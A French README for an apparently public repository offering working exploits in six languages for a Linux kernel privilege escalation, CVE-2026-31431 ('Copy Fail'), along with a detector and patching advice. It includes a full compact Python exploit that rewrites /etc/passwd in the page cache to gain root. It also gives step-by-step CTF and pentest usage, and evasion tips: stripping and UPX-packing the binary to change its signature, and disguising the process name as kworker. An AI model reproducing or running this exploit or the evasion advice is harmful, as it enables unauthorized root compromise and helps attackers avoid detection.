
Implémentations éducatives multi-langues d’exploits pour CVE-2026-31431, une élévation de privilèges locale du noyau Linux via le module algif_aead, avec un détecteur sûr et des conseils d’utilisation pour les CTF.
Repo éducatif avec des implémentations en plusieurs langages de l'exploit Copy Fail.
Créé et maintenu par @shotafry — parce que lire le CVE ne suffit pas. Il faut le reproduire.
Copy Fail est une vulnérabilité d'élévation de privilèges locale (LPE) dans le noyau Linux, cataloguée comme CVE-2026-31431. Elle affecte le sous-système cryptographique du noyau, plus précisément le module algif_aead qui gère les opérations de chiffrement authentifié (AEAD) via les sockets AF_ALG.
Le défaut a été introduit en 2017 dans une optimisation du module authencesn et est resté non détecté pendant près de 9 ans, présent dans pratiquement toutes les distributions Linux modernes.
Ce qui rend Copy Fail spécial par rapport aux autres LPE historiques :
La vulnérabilité a été découverte par Taeyang Lee de l'équipe de recherche de Theori. La chaîne d'exploitation complète a été développée par l'équipe Xint Code Research, qui a documenté le processus en utilisant une analyse assistée par IA sur le sous-système crypto/ du noyau Linux.
La divulgation publique inclut un PoC fonctionnel, une analyse technique complète et une documentation sur copy.fail.
CVE: CVE-2026-31431
CVSS: 7.8 — ÉLEVÉE
Vecteur: Local
Impact: Élévation de privilèges complète (root)
Distros: Toutes les distributions Linux avec noyau >= 2017 non corrigé
Le CVSS est de 7.8 et n'atteint pas le niveau critique (9+) uniquement parce qu'il nécessite un accès local préalable — l'attaquant doit déjà avoir une session sur le système. Dans les environnements cloud et avec les conteneurs Docker, cette exigence est considérablement plus facile à satisfaire qu'il n'y paraît.
Le noyau Linux conserve en RAM les fichiers qu'il a lus récemment. C'est ce qu'on appelle le page cache. Lorsqu'un processus lit /etc/passwd, le noyau ne va pas sur le disque — il sert la copie en RAM. C'est plus rapide, mais cela crée une surface d'attaque : si vous pouvez modifier cette copie en RAM sans toucher au disque, le système verra des données falsifiées.
Le module algif_aead permet d'effectuer des opérations AEAD depuis l'espace utilisateur via les sockets AF_ALG. Le bug se trouve dans l'optimisation introduite en 2017 : lorsque splice() est utilisé pour passer des pages d'un fichier au socket, ces pages du page cache se retrouvent dans la liste de dispersion destination (inscriptible) de l'opération cryptographique.
Résultat : n'importe quel utilisateur sans privilèges peut écrire 4 octets contrôlés dans n'importe quel fichier qu'il peut lire, sans toucher au disque.
Utilisateur sans privilèges
│
▼
Ouvre un socket AF_ALG (authencesn)
│
▼
sendmsg() — paramètres AEAD avec nos 4 octets dans seqno_lo
│
▼
splice() — fichier → pipe → socket op
[BUG] Le page cache du fichier reste dans le scatterlist destination
│
▼
recv() déclenche l'opération AEAD
L'auth échoue (EBADMSG) mais l'écriture scratch a déjà eu lieu
│
▼
/etc/passwd (page cache) indique maintenant : utilisateur → UID 0
│
▼
su <utilisateur> → PAM valide le vrai mot de passe → setuid(0) → ROOT
Imaginez que le noyau possède un registre du château (/etc/passwd). Copy Fail, c'est comme découvrir que si vous ouvrez l'atelier de magie du château dans un ordre très précis, le registre se retrouve accidentellement sur votre table de travail — et vous pouvez changer votre rang de « simple soldat » à « roi » avec un stylo. L'archiviste (PAM) vérifie votre mot de passe mais ne vérifie pas le registre original, seulement la copie que vous avez devant vous. Vous êtes roi.

>= ~2017 sans le correctif de CVE-2026-31431algif_aead disponible et chargeableOn peut réellement sauter cette étape et tester directement l'un des exploits, mais c'est aussi valable si nous ne voulons pas prendre le risque de les téléverser ou de les créer et que nous voulons seulement voir si cela fonctionne, mais les exploits ont leur fonction pour vérifier si le système en question est vulnérable.
# Voir la version du noyau
uname -a
# Vérifier si l'algorithme est disponible
grep -i authencesn /proc/crypto
# Vérifier si le module est chargé
lsmod | grep alg
Si grep -i authencesn /proc/crypto renvoie authencesn(hmac(sha256),cbc(aes)), le système est vulnérable.
Ce dépôt contient l'exploit implémenté en 6 langages, tous fonctionnellement équivalents, avec des commentaires pédagogiques en espagnol.
copy_fail_exploit.c → C — binaire statique, zéro dépendance
copy_fail_exploit.py → Python — plus lisible, idéal pour apprendre
copy_fail_exploit.rs → Rust — l'ironie : le langage « sûr » exploite le noyau
copy_fail_exploit.go → Go — binaire statique, très portable
copy_fail_exploit.rb → Ruby — omniprésent sur les serveurs Rails
copy_fail_exploit.pl → Perl — le plus silencieux, présent sur tout Linux
test_cve_2026_31431.py → Détecteur — vérifie la vulnérabilité sans rien exploiter
python3 test_cve_2026_31431.py
# Compiler
gcc copy_fail_exploit.c -o copy_fail_c
# Dry-run (nettoie à la sortie, ne laisse aucune trace)
./copy_fail_c
# Exploit complet
./copy_fail_c --shell
# Dry-run
python3 copy_fail_exploit.py
# Exploit complet
python3 copy_fail_exploit.py --shell
# Compiler
rustc copy_fail_exploit.rs -o copy_fail_rs
# Dry-run
./copy_fail_rs
# Exploit complet
./copy_fail_rs --shell
# Compiler
go build -o copy_fail_go copy_fail_exploit.go
# Dry-run
./copy_fail_go
# Exploit complet
./copy_fail_go --shell
# Dry-run
ruby copy_fail_exploit.rb
# Exploit complet
ruby copy_fail_exploit.rb --shell
# Dry-run
perl copy_fail_exploit.pl
# Exploit complet
perl copy_fail_exploit.pl --shell
# Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
# Go
apt install golang-go
# Ruby (généralement préinstallé sur Kali)
apt install ruby
# Perl (pratiquement toujours présent)
perl --version
Une fois l'exploit lancé (avant le su), vous pouvez vérifier visuellement le changement dans le page cache avec :
# Terminal 1 : surveillance en temps réel
watch -n 0.5 'grep tonutilisateur /etc/passwd'
# Terminal 2 : lancer l'exploit
python3 copy_fail_exploit.py --shell
Vous verrez le champ UID passer de 1000 à 0000 en temps réel. Après le su :
id
# uid=0(root) gid=0(root) groups=0(root)
Pour nettoyer sans redémarrer (depuis le shell root) :
echo 3 > /proc/sys/vm/drop_caches
[*] CVE-2026-31431 LPE utilisateur=shotafry uid=1000
[*] /etc/passwd : utilisateur 'shotafry' — champ UID à l'offset 3118 = '1000'
[*] Application de write4 : '1000' -> '0000' dans le page cache...
[+] Le page cache affiche maintenant UID 0 à l'offset 3118
[+] /etc/passwd (page cache) liste maintenant shotafry comme UID 0
[+] Exécute : su shotafry
[+] Saisis ton mot de passe. su fera setuid(0) → shell root.
Le disque n'est jamais modifié. Un redémarrage ou drop_caches restaure tout à l'état d'origine.
Copy Fail est pertinent dans tout CTF ou laboratoire de privesc sous Linux où le noyau n'est pas corrigé.
algif_aead peut être désactivé dans les environnements durcis — si le détecteur échoue à l'étape AF_ALG, cherchez un autre vecteur# 1. Vérifier le noyau
uname -a
# 2. Détecteur
python3 test_cve_2026_31431.py
# 3. Si vulnérable, exploit
python3 copy_fail_exploit.py --shell
# 4. Nettoyer après
echo 3 > /proc/sys/vm/drop_caches
Les implémentations de ce repo sont commentées et verbeuses par conception pédagogique. Dans un contexte de pentest réel, vous voudrez des versions plus silencieuses.
L'exploit dans son cœur repose sur 5 syscalls : socket, bind, setsockopt, sendmsg, splice. Tout le reste est cosmétique. Une version silencieuse supprime tout le output et réduit le code au minimum fonctionnel.
# Version compacte sans output — même fonctionnalité, surface de détection réduite
import os, socket, struct, pwd
def w4(p, o, b):
f = os.open(p, 0); os.read(f, 4096)
m = socket.socket(38, 5, 0)
m.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
m.setsockopt(279, 1, struct.pack("HH", 8, 1) + struct.pack(">I", 16) + b"\x00"*48)
op, _ = m.accept()
aad = b"\x00\x00\x00\x00" + b
op.sendmsg([aad], [(279,3,struct.pack("I",0)),(279,2,struct.pack("I",16)+b"\x00"*16),(279,4,struct.pack("I",8))], 32768)
pr, pw = os.pipe()
os.splice(f, pw, 32, offset_src=o); os.splice(pr, op.fileno(), 32)
try: op.recv(64)
except: pass
[os.close(x) for x in [pr,pw,op.fileno(),m.fileno(),f]]
u = pwd.getpwuid(os.getuid()).pw_name
d = open("/etc/passwd","rb").read()
i = d.index(u.encode()+b":")+len(u)+1
i = d.index(b":",i)+1
w4("/etc/passwd", i, b"0000")
os.execvp("su", ["su", u])
⚠️ Note : les antivirus et EDR détectent les schémas d'obfuscation (imports compressés, noms de fonction à un caractère, zlib+hex enchaîné). Un binaire C compilé statiquement reste l'option la plus silencieuse dans les environnements surveillés.
strip : gcc exploit.c -o exploit && strip exploit — supprime les symboles de debugupx --best exploit — compresse le binaire, change sa signaturekworker ou systemd-helper pour passer inaperçu dans ps# Debian/Ubuntu/Kali
apt update && apt upgrade
# RHEL/CentOS/Fedora
dnf update
# Arch
pacman -Syu
Si vous ne pouvez pas corriger immédiatement, désactivez le module vulnérable :
# Désactiver le module
rmmod algif_aead 2>/dev/null
# Empêcher son chargement à l'avenir
echo "install algif_aead /bin/false" >> /etc/modprobe.d/disable-algif.conf
python3 test_cve_2026_31431.py
# [+] Page cache intact. NOT vulnerable on this kernel.
Le correctif doit être appliqué sur le noyau de l'hôte — les conteneurs partagent le noyau et ne sont pas isolés de cette vulnérabilité. Mettre à jour uniquement l'image du conteneur ne protège de rien.
CVE-2026-31431-Copy-Fail/
├── README.md ← Ce fichier (ES)
├── README_ENGLISH.md ← Version en anglais
├── copy_fail_exploit.c ← Exploit en C
├── copy_fail_exploit.py ← Exploit en Python
├── copy_fail_exploit.rs ← Exploit en Rust
├── copy_fail_exploit.go ← Exploit en Go
├── copy_fail_exploit.rb ← Exploit en Ruby
├── copy_fail_exploit.pl ← Exploit en Perl
├── test_cve_2026_31431.py ← Détecteur (sûr, ne modifie rien)
└── assets/
├── Infografia.png ← Infographie de l'exploit
├── Exploit en C.png ← Capture de l'exploit C en action
└── passwd.png ← Output du détecteur sur système vulnérable
Pendant que tout le monde publiait ce CVE avec un paragraphe généré par IA et un lien vers le repo officiel, j'ai passé la journée à l'étudier pour de vrai : lire le code du noyau, comprendre le page cache, reproduire l'exploit en laboratoire, puis le porter dans 6 langages différents pour comprendre exactement ce qui se passe à chaque couche.
La version en Rust est ma préférée. Tu utilises le langage le plus obsédé par la sécurité mémoire pour exploiter un défaut dans le noyau écrit en C. L'ironie se suffit à elle-même.
Ce repo existe parce que je crois que la différence entre un professionnel de la sécurité et quelqu'un qui se contente de partager des posts réside dans le fait de s'être réellement assis pour reproduire les choses.
authencesn / algif_aeadCe dépôt est exclusivement destiné à un usage éducatif, à la recherche en sécurité et aux tests sur des systèmes personnels ou avec une autorisation explicite par écrit.
L'utilisation de ces outils contre des systèmes sans autorisation est illégale dans la plupart des juridictions. L'auteur décline toute responsabilité en cas de mauvaise utilisation de ce matériel.
Testez uniquement sur ce qui vous appartient ou ce que vous avez la permission d'auditer.
Fait avec curiosité, laboratoire, et trop de café, ou de la bière 0.0 précisément.
@shotafry
@BrayLozano
| Caractéristique | Copy Fail | LPE typique |
|---|
| Nécessite une race condition | ❌ Non | ✅ Oui |
| Nécessite un offset spécifique du noyau | ❌ Non | ✅ Oui |
| Fonctionnel sur toutes les distros | ✅ Oui | ❌ Normalement non |
| Fiabilité | 100 % déterministe | Variable |
| Modifie le disque | ❌ Non (RAM uniquement) | Dépend |
| Langage | Prérequis sur la cible | Compilation préalable |
|---|
| C | Aucun (binaire statique) | gcc sur la machine de compilation |
| Python | Python 3.10+ | Non |
| Rust | Aucun (binaire statique) | rustc sur la machine de compilation |
| Go | Aucun (binaire statique) | go sur la machine de compilation |
| Ruby | Ruby + gem fiddle (inclus par défaut) | Non |
| Perl | Perl 5 (inclus dans pratiquement tout Linux) | Non |